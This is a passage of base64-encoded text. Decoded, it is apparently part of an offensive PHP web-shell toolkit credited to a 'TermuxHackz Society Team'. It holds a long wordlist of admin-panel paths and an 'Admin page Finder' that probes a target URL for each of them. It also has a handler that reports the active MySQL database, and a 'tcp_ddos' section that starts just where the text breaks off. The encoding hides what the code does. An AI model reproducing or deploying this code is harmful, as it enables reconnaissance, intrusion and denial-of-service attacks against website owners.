YXNwDQphZG1pbl9hcmVhL2xvZ2luLmFzcA0KYWRtaW5fYXJlYS9pbmRleC5hc3ANCmJiLWFkbWluL2luZGV4LmFzcA0KYmItYWRtaW4vbG9naW4uYXNwDQpiYi1hZG1pbi9hZG1pbi5hc3ANCnBhZ2VzL2FkbWluL2FkbWluLWxvZ2luLmFzcA0KYWRtaW4vYWRtaW4tbG9naW4uYXNwDQphZG1pbi1sb2dpbi5hc3ANCnVzZXIuYXNwDQp3ZWJhZG1pbi9pbmRleC5hc3ANCndlYmFkbWluL2FkbWluLmFzcA0Kd2ViYWRtaW4vbG9naW4uYXNwDQphZG1pbi9hZG1pbl9sb2dpbi5hc3ANCmFkbWluX2xvZ2luLmFzcA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4uYXNwDQphZG1pbkxvZ2luLmFzcA0KYWRtaW4vYWRtaW5Mb2dpbi5hc3ANCmhvbWUuYXNwDQphZG1pbmFyZWEvaW5kZXguYXNwDQphZG1pbmFyZWEvYWRtaW4uYXNwDQphZG1pbmFyZWEvbG9naW4uYXNwDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5hc3ANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLmFzcA0KbW9kZWxzZWFyY2gvaW5kZXguYXNwDQptb2RlbHNlYXJjaC9hZG1pbi5hc3ANCmFkbWluY29udHJvbC9sb2dpbi5hc3ANCmFkbS9hZG1sb2dpbnVzZXIuYXNwDQphZG1sb2dpbnVzZXIuYXNwDQphZG1pbjIvbG9naW4uYXNwDQphZG1pbjIvaW5kZXguYXNwDQphZG0vaW5kZXguYXNwDQphZG0uYXNwDQphZmZpbGlhdGUuYXNwDQphZG1fYXV0aC5hc3ANCm1lbWJlcmFkbWluLmFzcA0KYWRtaW5pc3RyYXRvcmxvZ2luLmFzcA0Kc2l0ZWFkbWluL2xvZ2luLmFzcA0Kc2l0ZWFkbWluL2luZGV4LmFzcA0KQURNSU4vDQpwYW5lbGRlY29udHJvbC8NCmxvZ2luLw0KY21zLw0KYWRtb24vDQpBRE1PTi8NCmFkbWluaXN0cmFkb3IvDQpBRE1JTi9sb2dpbi5waHANCnBhbmVsYy8NCkFETUlOL2xvZ2luLmh0bWwNCi9tb2R1bG8vDQppbnRyYW5ldC8NCmludHJhbmV0LnBocA0KYWRtaW5pc3RyYWRvci8NCmJhY2tlbmQvDQplbnRyYWRhLw0KZW50cmFkYS5waHANCnB1ZXJ0YW9jdWx0YS5waHANCnB1ZXJ0YW9jdWx0YS8NCmJhY2sucGhwDQptZW51LnBocA0KZWRpdG5vdGljaWEucGhwDQplZGl0YXJub3RpY2lhLnBocA0KZWRpdGFyX25vdGljaWEucGhwDQphZG0ucGhwDQppbnRvLnBocA0KZW50cmFyLnBocA0Kc3lzdGVtLw0Kc3lzdGVtLnBocA0KYmFjay8NCmxvZ291dC5waHANCmpzL2FkbWluLw0KYWRtaW5pLw0KYWRtaW43Lw0KYWRtaW5pc3RyLw0KYWRtaW5pc3QvDQphZG1pbmlzdHJhLw0KaW50by8NCmVudHJhci8NCnB1ZXJ0YS8NCmVudHJhZGEvDQphZG1pbi5waHANCmxvZ2luLmh0bQ0KbG9naW4uaHRtbA0KbG9naW4vDQpsb2dpbi5waHANCmFkbS8NCmFkbWluLw0KYWRtaW4vYWNjb3VudC5odG1sDQphZG1pbi9sb2dpbi5odG1sDQphZG1pbi9sb2dpbi5odG0NCmFkbWluL2hvbWUucGhwDQphZG1pbi9jb250cm9scGFuZWwuaHRtbA0KYWRtaW4vY29udHJvbHBhbmVsLmh0bQ0KYWRtaW4vY3AucGhwDQphZG1pbi9hZG1pbkxvZ2luLmh0bWwNCmFkbWluL2FkbWluTG9naW4uaHRtDQphZG1pbi9hZG1pbl9sb2dpbi5waHANCmFkbWluL2NvbnRyb2xwYW5lbC5waHANCmFkbWluL2FkbWluLWxvZ2luLnBocA0KYWRtaW4tbG9naW4ucGhwDQphZG1pbi9hY2NvdW50LnBocA0KYWRtaW4vYWRtaW4ucGhwDQphZG1pbi5odG0NCmFkbWluLmh0bWwNCmFkbWluaXRlbS8NCmFkbWluaXRlbS5waHANCmFkbWluaXRlbXMvDQphZG1pbml0ZW1zLnBocA0KYWRtaW5pc3RyYXRvci9sb2dpbi5waHANCmFkbWluaXN0cmF0b3IucGhwDQphZG1pbmlzdHJhdGlvbi8NCmFkbWluaXN0cmF0aW9uLnBocA0KYWRtaW5sb2dpbi5waHANCmFkbWluX2FyZWEvYWRtaW4ucGhwDQphZG1pbl9hcmVhLw0KYWRtaW5fYXJlYS9sb2dpbi5waHANCm1hbmFnZXIvDQptYW5hZ2VyLnBocA0KbGV0bWVpbi8NCmxldG1laW4ucGhwDQpzdXBlcnVzZXIvDQpzdXBlcnVzZXIucGhwDQphY2Nlc3MvDQphY2Nlc3MucGhwDQpzeXNhZG0vDQpzeXNhZG0ucGhwDQpzdXBlcm1hbi8NCnN1cGVydmlzb3IvDQpwYW5lbC5waHANCmNvbnRyb2wvDQpjb250cm9sLnBocA0KbWVtYmVyLw0KbWVtYmVyLnBocA0KbWVtYmVycy8NCm1lbWJlcnMucGhwDQp1c2VyLw0KdXNlci5waHANCmNwLw0KdXZwYW5lbC8NCm1hbmFnZS8NCm1hbmFnZS5waHANCm1hbmFnZW1lbnQvDQptYW5hZ2VtZW50LnBocA0Kc2lnbmluLw0Kc2lnbmluLnBocA0KbG9nLWluLw0KbG9nLWluLnBocA0KbG9nX2luLw0KbG9nX2luLnBocA0Kc2lnbl9pbi8NCnNpZ25faW4ucGhwDQpzaWduLWluLw0Kc2lnbi1pbi5waHANCnVzZXJzLw0KdXNlcnMucGhwDQphY2NvdW50cy8NCmFjY291bnRzLnBocA0Kd3AtbG9naW4ucGhwDQpiYi1hZG1pbi9sb2dpbi5waHANCmJiLWFkbWluL2FkbWluLnBocA0KYmItYWRtaW4vYWRtaW4uaHRtbA0KYWRtaW5pc3RyYXRvci9hY2NvdW50LnBocA0KcmVsb2dpbi5odG0NCnJlbG9naW4uaHRtbA0KY2hlY2sucGhwDQpyZWxvZ2luLnBocA0KYmxvZy93cC1sb2dpbi5waHANCnVzZXIvYWRtaW4ucGhwDQp1c2Vycy9hZG1pbi5waHANCnJlZ2lzdHJhdGlvbi8NCnByb2Nlc3Nsb2dpbi5waHANCmNoZWNrbG9naW4ucGhwDQpjaGVja3VzZXIucGhwDQpjaGVja2FkbWluLnBocA0KaXNhZG1pbi5waHANCmF1dGhlbnRpY2F0ZS5waHANCmF1dGhlbnRpY2F0aW9uLnBocA0KYXV0aC5waHANCmF1dGh1c2VyLnBocA0KYXV0aGFkbWluLnBocA0KY3AucGhwDQptb2RlbHNlYXJjaC9sb2dpbi5waHANCm1vZGVyYXRvci5waHANCm1vZGVyYXRvci8NCmNvbnRyb2xwYW5lbC8NCmNvbnRyb2xwYW5lbC5waHANCmFkbWluY29udHJvbC5waHANCmFkbWlucGFuZWwucGhwDQpmaWxlYWRtaW4vDQpmaWxlYWRtaW4ucGhwDQpzeXNhZG1pbi5waHANCmFkbWluMS5waHANCmFkbWluMS5odG1sDQphZG1pbjEuaHRtDQphZG1pbjIucGhwDQphZG1pbjIuaHRtbA0KeW9uZXRpbS5waHANCnlvbmV0aW0uaHRtbA0KeW9uZXRpY2kucGhwDQp5b25ldGljaS5odG1sDQpwaHBteWFkbWluLw0KbXlhZG1pbi8NCnVyLWFkbWluLnBocA0KdXItYWRtaW4vDQpTZXJ2ZXIucGhwDQpTZXJ2ZXIvDQp3cC1hZG1pbi8NCmFkbWluaXN0cjgucGhwDQphZG1pbmlzdHI4Lw0Kd2ViYWRtaW4vDQp3ZWJhZG1pbi5waHANCmFkbWluaXN0cmF0aWUvDQphZG1pbnMvDQphZG1pbnMucGhwDQphZG1pbmlzdHJpdmlhLw0KRGF0YWJhc2VfQWRtaW5pc3RyYXRpb24vDQp1c2VyYWRtaW4vDQpzeXNhZG1pbnMvDQphZG1pbjEvDQpzeXN0ZW0tYWRtaW5pc3RyYXRpb24vDQphZG1pbmlzdHJhdG9ycy8NCnBnYWRtaW4vDQpkaXJlY3RhZG1pbi8NCnN0YXJhZG1pbi8NClNlcnZlckFkbWluaXN0cmF0b3IvDQpTeXNBZG1pbi8NCmFkbWluaXN0ZXIvDQpMaXZlVXNlcl9BZG1pbi8NCnN5cy1hZG1pbi8NCnR5cG8zLw0KcGFuZWwvDQpjcGFuZWwvDQpjcGFuZWxfZmlsZS8NCnBsYXR6X2xvZ2luLw0KcmNsb2dpbi8NCmJsb2dpbmRleC8NCmZvcm1zbG9naW4vDQphdXRvbG9naW4vDQpzdXBwb3J0X2xvZ2luLw0KbWV0YV9sb2dpbi8NCm1hbnVhbGxvZ2luLw0Kc2ltcGxlbG9naW4vDQpsb2dpbmZsYXQvDQp1dGlsaXR5X2xvZ2luLw0Kc2hvd2xvZ2luLw0KbWVtbG9naW4vDQpsb2dpbi1yZWRpcmVjdC8NCnN1Yi1sb2dpbi8NCndwLWxvZ2luLw0KbG9naW4xLw0KZGlyLWxvZ2luLw0KbG9naW5fZGIvDQp4bG9naW4vDQpzbWJsb2dpbi8NCmN1c3RvbWVyX2xvZ2luLw0KVXNlcmxvZ2luLw0KbG9naW4tdXMvDQphY2N0X2xvZ2luLw0KYmlnYWRtaW4vDQpwcm9qZWN0LWFkbWlucy8NCnBocHBnYWRtaW4vDQpwdXJlYWRtaW4vDQpzcWwtYWRtaW4vDQpyYWRtaW5kLw0Kb3BlbnZwbmFkbWluLw0Kd2l6bXlzcWxhZG1pbi8NCnZhZG1pbmQvDQplenNxbGl0ZWFkbWluLw0KaHB3ZWJqZXRhZG1pbi8NCm5ld3NhZG1pbi8NCmFkbWlucHJvLw0KTG90dXNfRG9taW5vX0FkbWluLw0KYmJhZG1pbi8NCnZtYWlsYWRtaW4vDQpJbmR5X2FkbWluLw0KY2NwMTRhZG1pbi8NCmlyYy1tYWNhZG1pbi8NCmJhbm5lcmFkbWluLw0Kc3NoYWRtaW4vDQpwaHBsZGFwYWRtaW4vDQptYWNhZG1pbi8NCmFkbWluaXN0cmF0b3JhY2NvdW50cy8NCmFkbWluNF9hY2NvdW50Lw0KYWRtaW40X2NvbG9uLw0KcmFkbWluZC0xLw0KU3VwZXItQWRtaW4vDQpBZG1pblRvb2xzLw0KY21zYWRtaW4vDQpTeXNBZG1pbjIvDQpnbG9iZXNfYWRtaW4vDQpjYWRtaW5zLw0KcGhwU1FMaXRlQWRtaW4vDQpuYXZTaXRlQWRtaW4vDQpzZXJ2ZXJfYWRtaW5fc21hbGwvDQpsb2dvX3N5c2FkbWluLw0KcG93ZXJfdXNlci8NCnN5c3RlbV9hZG1pbmlzdHJhdGlvbi8NCnNzX3Ztc19hZG1pbl9zbS8NCmJiLWFkbWluLw0KcGFuZWwtYWRtaW5pc3RyYWNpb24vDQppbnN0YWRtaW4vDQptZW1iZXJhZG1pbi8NCmFkbWluaXN0cmF0b3Jsb2dpbi8NCmFkbS5waHANCmFkbWluX2xvZ2luLnBocA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4ucGhwDQpwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5waHANCnBhZ2VzL2FkbWluLw0KYWNjZXNvLnBocA0KYWRtaW5jcC9sb2dpbi5waHANCmFkbWluY3AvDQphZG1pbmFyZWEvDQphZG1pbmNvbnRyb2wvDQphZmZpbGlhdGUucGhwDQphZG1fYXV0aC5waHANCm1lbWJlcmFkbWluLnBocA0KYWRtaW5pc3RyYXRvcmxvZ2luLnBocA0KbW9kdWxlcy9hZG1pbi8NCmFkbWluaXN0cmF0b3JzLnBocA0Kc2l0ZWFkbWluLw0Kc2l0ZWFkbWluLnBocA0KYWRtaW5zaXRlLw0Ka3BhbmVsLw0Kdm9yb2QvDQp2b3JvZC5waHANCnZvcnVkLw0Kdm9ydWQucGhwDQphZG1pbnBhbmVsLw0KUFNVc2VyLw0Kc2VjdXJlLw0Kd2VibWFzdGVyLw0Kd2VibWFzdGVyLnBocA0KYXV0b2xvZ2luLnBocA0KdXNlcmxvZ2luLnBocA0KYWRtaW5fYXJlYS5waHANCmNtc2FkbWluLnBocA0Kc2VjdXJpdHkvDQp1c3IvDQpyb290Lw0Kc2VjcmV0Lw0KYWRtaW4vbG9naW4ucGhwDQphZG1pbi9hZG1pbkxvZ2luLnBocA0KbW9kZXJhdG9yLnBocA0KbW9kZXJhdG9yLmh0bWwNCm1vZGVyYXRvci9sb2dpbi5waHANCm1vZGVyYXRvci9hZG1pbi5waHANCnlvbmV0aWNpLnBocA0KMGFkbWluLw0KMG1hbmFnZXIvDQphYWRtaW4vDQpjZ2ktYmluL2xvZ2luLnBocA0KbG9naW4xLnBocA0KbG9naW5fYWRtaW4vDQpsb2dpbl9hZG1pbi5waHANCmxvZ2luX291dC8NCmxvZ2luX291dC5waHANCmxvZ2luX3VzZXIucGhwDQpsb2dpbmVycm9yLw0KbG9naW5vay8NCmxvZ2luc2F2ZS8NCmxvZ2luc3VwZXIvDQpsb2dpbnN1cGVyLnBocA0KbG9naW4ucGhwDQpsb2dvdXQvDQpsb2dvdXQucGhwDQpzZWNyZXRzLw0Kc3VwZXIxLw0Kc3VwZXIxLnBocA0Kc3VwZXJfaW5kZXgucGhwDQpzdXBlcl9sb2dpbi5waHANCnN1cGVybWFuYWdlci5waHANCnN1cGVybWFuLnBocA0Kc3VwZXJ1c2VyLnBocA0Kc3VwZXJ2aXNlLw0Kc3VwZXJ2aXNlL0xvZ2luLnBocA0Kc3VwZXIucGhwIjsNCmZ1bmN0aW9uIHRlbXBsYXRlKCkgew0KICAgIGVjaG8gJw0KPG1ldGEgKioqKioqKioqKj0iQ29udGVudC1UeXBlIiAqKioqKioqKioidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmg0LnRlY2huaXF1ZS10d28gew0KICAgICAgICANCiAgICAgICAgYmFja2dyb3VuZDogdXJsKCJodHRwOi8vd3d3LmFsYm9yYWFxLmNvbS9qcGcvQ3BEMzkwMzIuZ2lmIikgcmVwZWF0IHRvcCBjZW50ZXI7DQogICAgICAgIG1hcmdpbjogMCBhdXRvOw0KfQ0KLndyYXBwZXJ7DQogICAgd2lkdGg6IDEwMDBweDsNCiAgICBtYXJnaW46IDAgYXV0bzsNCn0NCi50dWJlew0KICAgIHBhZGRpbmc6IDEwcHg7DQp9DQoucmVkew0KICAgIHdpZHRoOiA5OThweDsNCiAgICBib3JkZXI6IDFweCBzb2xpZCBMSU1FOw0KICAgIGJhY2tncm91bmQ6ICMxOTE5MTk7DQogICAgY29sb3I6IExJTUU7DQp9DQoucmVkIGlucHV0ew0KICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgYm9yZGVyOiAxcHggc29saWQgTElNRTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgdGV4dC1hbGlnbjogbGVmdDsNCiAgICB0ZXh0LWluZGVudDogMSU7DQogICAgZm9udC1zaXplOiAxNnB4Ow0KfQ0KLmJsdWV7DQogICAgZmxvYXQ6IGxlZnQ7DQogICAgd2lkdGg6IDEwMDBweDsNCiAgICBib3JkZXI6IDFweCBzb2xpZCBMSU1FOw0KICAgIGJhY2tncm91bmQ6ICMxOTE5MTk7DQogICAgY29sb3I6IFJFRDsNCn0NCi5ncmVlbnsNCiAgICBmbG9hdDogbGVmdDsNCiAgICB3aWR0aDogMTAwMHB4Ow0KICAgIGJvcmRlcjogMXB4IHNvbGlkIExJTUU7DQogICAgYmFja2dyb3VuZDogIzE5MTkxOTsNCiAgICBjb2xvcjogTElNRTsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBpbnNlcnRjb2RlKCR0ZXh0LCAkcGxhY2UsICRyZXBsYWNlKQ0Kew0KICAgIHZhciAkdGhpcyA9ICR0ZXh0Ow0KICAgIHZhciBsb2dib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgkcGxhY2UpOw0KICAgIGlmKCRyZXBsYWNlID09IDApDQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSkuaW5uZXJIVE1MID0gbG9nYm94LmlubmVySFRNTCskdGhpczsNCiAgICBlbHNlDQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSkuaW5uZXJIVE1MID0gJHRoaXM7DQovL2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoZWxwYm94IikuaW5uZXJIVE1MID0gJHRoaXM7DQp9DQotLT4NCjwvc2NyaXB0Pg0KPGNlbnRlcj48cHJlIHN0eWxlPSJjb2xvcjogbGlnaHRibHVlIj4NCiAgIF9fX19fICAgICAgIC5fX18gICAgICAuX18gICAgICAgX19fX19fX19fX18uX18gICAgICAgICAgICAuX19fICAgICAgICAgIA0KICAvICBfICBcICAgIF9ffCBfL19fX19fIHxfX3wgX19fXyBcXyAgIF9fX19fL3xfX3wgX19fXyAgICBfX3wgXy9fX19fX19fX18gDQogLyAgL19cICBcICAvIF9fIHwvICAgICBcfCAgfC8gICAgXCB8ICAgIF9fKSAgfCAgfC8gICAgXCAgLyBfXyB8LyBfXyBcXyAgXyANCi8gICAgfCAgICBcLyAvXy8gfCAgWSBZICBcICB8ICAgfCAgXHwgICAgIFwgICB8ICB8ICAgfCAgXC8gL18vIFwgIF9fXy98ICB8DQogICAgICAgIFwvICAgICAgXC8gICAgIFwvICAgICAgICBcLyAgICAgXC8gICAgICAgICAgICBcLyAgICAgIFwvICAgIFwvIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNQURFIEJZIFRFUk1VWEhBQ0taIFNPQ0lFVFkgVEVBTQ0KICAgICAgICAgICAgICAgIA0KPC9wcmU+PC9jZW50ZXI+ICAgDQo8L2hlYWQ+DQo8Ym9keT4NCjxoNCBjbGFzcz0idGVjaG5pcXVlLXR3byI+ICAgICANCjwvaDE+DQo8ZGl2IGNsYXNzPSJ3cmFwcGVyIj4NCjxkaXYgY2xhc3M9InJlZCI+DQo8ZGl2IGNsYXNzPSJ0dWJlIj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4NCjxmb250IHNpemU9IjUiPkVudGVyIHRoZSB1cmwgb2YgcGFnZSBoZXJlOjwvZm9udD48YnIgLz48aW5wdXQgdHlwZT0idXJsIiBwbGFjZWhvbGRlcj0iaHR0cDovL3RhcmdldHNpdGUuY29tIiBuYW1lPSJ4cGxvaXRfdXJsIiB2YWx1ZT0iJyAuICRfUE9TVFsneHBsb2l0X3VybCddIC4gJyIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwcHg7IiAvPjxiciAvPjxiciAvPg0KPC9mb3JtPg0KPGJyIC8+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9yZWQgLS0+DQo8YnIgLz4NCjxkaXYgY2xhc3M9ImdyZWVuIj4NCjxkaXYgY2xhc3M9InR1YmUiIGlkPSJyaWdodGNvbCI+DQpTY2FubmVkIFBhbmVsczogPHNwYW4gaWQ9InZlcmlmaWVkIj4wPC9zcGFuPiAvIDxzcGFuIGlkPSJ0b3RhbCI+MDwvc3Bhbj48YnIgLz4NCkZvdW5kIFBhbmVsczogPGJyIC8+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9ncmVlbiAtLT4NCjxiciBjbGVhcj0iYWxsIiAvPjxiciAvPg0KPGRpdiBjbGFzcz0iYmx1ZSI+DQo8ZGl2IGNsYXNzPSJ0dWJlIiBpZD0ibG9nYm94Ij4NCjxiciAvPg0KPGJyIC8+DQo8Y2VudGVyPkFkbWluIHBhZ2UgRmluZGVyIGJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSA8YnIgLz48YnIgLz4NCjwvZGl2PiA8IS0tIC90dWJlIC0tPg0KPC9kaXY+IDwhLS0gL2JsdWUgLS0+DQo8L2Rpdj4gPCEtLSAvd3JhcHBlciAtLT4NCjxiciBjbGVhcj0iYWxsIj4nOw0KfQ0KZnVuY3Rpb24gc2hvdygkbXNnLCAkYnIgPSAxLCAkc3RvcCA9IDAsICRwbGFjZSA9ICdsb2dib3gnLCAkcmVwbGFjZSA9IDApIHsNCiAgICBpZiAoJGJyID09IDEpICRtc2cuPSAiPGJyIC8+IjsNCiAgICBlY2hvICI8c2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj5pbnNlcnRjb2RlKCciIC4gJG1zZyAuICInLCAnIiAuICRwbGFjZSAuICInLCAnIiAuICRyZXBsYWNlIC4gIicpOzwvc2NyaXB0PiI7DQogICAgaWYgKCRzdG9wID09IDEpIGV4aXQ7DQogICAgQGZsdXNoKCk7DQogICAgQG9iX2ZsdXNoKCk7DQp9DQpmdW5jdGlvbiBjaGVjaygkeCwgJGZyb250ID0gMCkgew0KICAgIGdsb2JhbCAkX1BPU1QsICRzaXRlLCAkZmFsc2U7DQogICAgaWYgKCRmcm9udCA9PSAwKSAkdCA9ICRzaXRlIC4gJHg7DQogICAgZWxzZSAkdCA9ICdodHRwOi8vJyAuICR4IC4gJy4nIC4gJHNpdGUgLiAnLyc7DQogICAgJGhlYWRlcnMgPSBnZXRfaGVhZGVycygkdCk7DQogICAgaWYgKCFlcmVnaSgnMjAwJywgJGhlYWRlcnNbMF0pKSByZXR1cm4gMDsNCiAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdCk7DQogICAgaWYgKCRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddID09ICIiKSBpZiAoJGRhdGEgPT0gJGZhbHNlKSByZXR1cm4gMDsNCiAgICBpZiAoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gIT0gIiIpIGlmIChzdHJwb3MoJGRhdGEsICRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddKSkgcmV0dXJuIDA7DQogICAgcmV0dXJuIDE7DQp9DQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KdGVtcGxhdGUoKTsNCmlmICghaXNzZXQoJF9QT1NUWyd4cGxvaXRfdXJsJ10pKSBkaWU7DQppZiAoJF9QT1NUWyd4cGxvaXRfdXJsJ10gPT0gJycpIGRpZTsNCiRzaXRlID0gJF9QT1NUWyd4cGxvaXRfdXJsJ107DQppZiAoJHNpdGVbc3RybGVuKCRzaXRlKSAtIDFdICE9ICIvIikgJHNpdGUuPSAiLyI7DQppZiAoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpICRmYWxzZSA9IEBmaWxlX2dldF9jb250ZW50cygkc2l0ZSAuICJkNjU4OTdmNTM4MGEyMWE0MmRiOTRiMzkyN2I4MjNkNTZlZTEwOTlhLXRoaXNfY2FuLXRfZXhpc3QuaHRtbCIpOw0KJGxpc3RbJ2VuZCddID0gc3RyX3JlcGxhY2UoIg0KIiwgIiIsICRsaXN0WydlbmQnXSk7DQokbGlzdFsnZnJvbnQnXSA9IHN0cl9yZXBsYWNlKCINCiIsICIiLCAkbGlzdFsnZnJvbnQnXSk7DQokcGF0aGVzID0gZXhwbG9kZSgiDQoiLCAkbGlzdFsnZW5kJ10pOw0KJGZyb250cGF0aGVzID0gZXhwbG9kZSgiDQoiLCAkbGlzdFsnZnJvbnQnXSk7DQpzaG93KGNvdW50KCRwYXRoZXMpICsgY291bnQoJGZyb250cGF0aGVzKSwgMSwgMCwgJ3RvdGFsJywgMSk7DQokdmVyaWZpY2F0ZSA9IDA7DQpmb3JlYWNoICgkcGF0aGVzIGFzICRwYXRoKSB7DQogICAgc2hvdygnQW5hbHl6aW5nICcgLiAkc2l0ZSAuICRwYXRoIC4gJyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOw0KICAgIHNob3coJHZlcmlmaWNhdGUsIDAsIDAsICd2ZXJpZmllZCcsIDEpOw0KICAgIGlmIChjaGVjaygkcGF0aCkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2Ugew0KICAgICAgICBzaG93KCc8c3BhbiBzdHlsZT0iY29sb3I6ICMwMEZGMDA7Ij48c3Ryb25nPmZvdW5kPC9zdHJvbmc+PC9zcGFuPicsIDEsIDAsICdsb2dib3gnLCAwKTsNCiAgICAgICAgc2hvdygnPGEgaHJlZj0iJyAuICRzaXRlIC4gJHBhdGggLiAnIj4nIC4gJHNpdGUgLiAkcGF0aCAuICc8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KfQ0KcHJlZ19tYXRjaCgiL1wvXC8oLio/KVwvL2kiLCAkc2l0ZSwgJHh4KTsNCiRzaXRlID0gJHh4WzFdOw0KaWYgKHN1YnN0cigkc2l0ZSwgMCwgMykgPT0gInd3dyIpICRzaXRlID0gc3Vic3RyKCRzaXRlLCA0KTsNCmZvcmVhY2ggKCRmcm9udHBhdGhlcyBhcyAkZnJvbnRwYXRoKSB7DQogICAgc2hvdygnQW5hbHl6aW5nIGh0dHA6Ly8nIC4gJGZyb250cGF0aCAuICcuJyAuICRzaXRlIC4gJy8gOiAnLCAwLCAwLCAnbG9nYm94JywgMCk7DQogICAgJHZlcmlmaWNhdGUrKzsNCiAgICBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZiAoY2hlY2soJGZyb250cGF0aCwgMSkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2Ugew0KICAgICAgICBzaG93KCc8c3BhbiBzdHlsZT0iY29sb3I6ICMwMEZGMDA7Ij48c3Ryb25nPmZvdW5kPC9zdHJvbmc+PC9zcGFuPicsIDEsIDAsICdsb2dib3gnLCAwKTsNCiAgICAgICAgc2hvdygnPGEgaHJlZj0iaHR0cDovLycgLiAkZnJvbnRwYXRoIC4gJy4nIC4gJHNpdGUgLiAnLyI+JyAuICRmcm9udHBhdGggLiAnLicgLiAkc2l0ZSAuICc8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KfQ0KPz4NCgk8P3BocA0KCX0gDQoJPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsiZGJfaW5mbyJdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Y2VudGVyPjxicj48Zm9udCBzaXplPSI2IiBjb2xvcj0ibWFyb29uIiBmYWNlPSJjb21pYyBzYW5zIG1zIj5BY3RpdmUgRGF0YWJhc2UgSW5mbyA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgCQlmdW5jdGlvbiBnZXRfYWN0aXZlX2RiKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAJCSRzcWw9J1NFTEVDVCBEQVRBQkFTRSgpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJJHNxbHJlc3VsdD1teXNxbF9xdWVyeSgkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJJHJvdz1teXNxbF9mZXRjaF9yb3coJHNxbHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJCSRhY3RpdmVfZGI9JHJvd1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJaWYoISRhY3RpdmVfZGIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJZWNobyAnPHAgc3R5bGU9ImNvbG9yOiByZWQiPkNvdWxkbnQgZ2V0IEFjdGl2ZSBEYXRhYmFzZSBJbmZvLCBzb3JyeSEhIF5fXjwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQl9IA0KICAgICAgICAgICAgICAgICAgICAgICAgCQllbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkJICAgZWNobyAiPHAgc3R5bGU9Y29sb3I6IGdyZWVuPkFjdGl2ZSBEYXRhYmFzZSA6PGI+ICRhY3RpdmVfZGI8L2I+IDwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQkgICBlY2hvICI8L2NlbnRlcj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgCQkgICB9ICAgDQogICAgICAgICAgICAgICAgICAgICAgICAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPz4NCiAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICBpZihpc3NldCgkX0dFVFsidGNwX2Rkb3MiXSkpIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgLy9UQ1ANCiAgICBpZi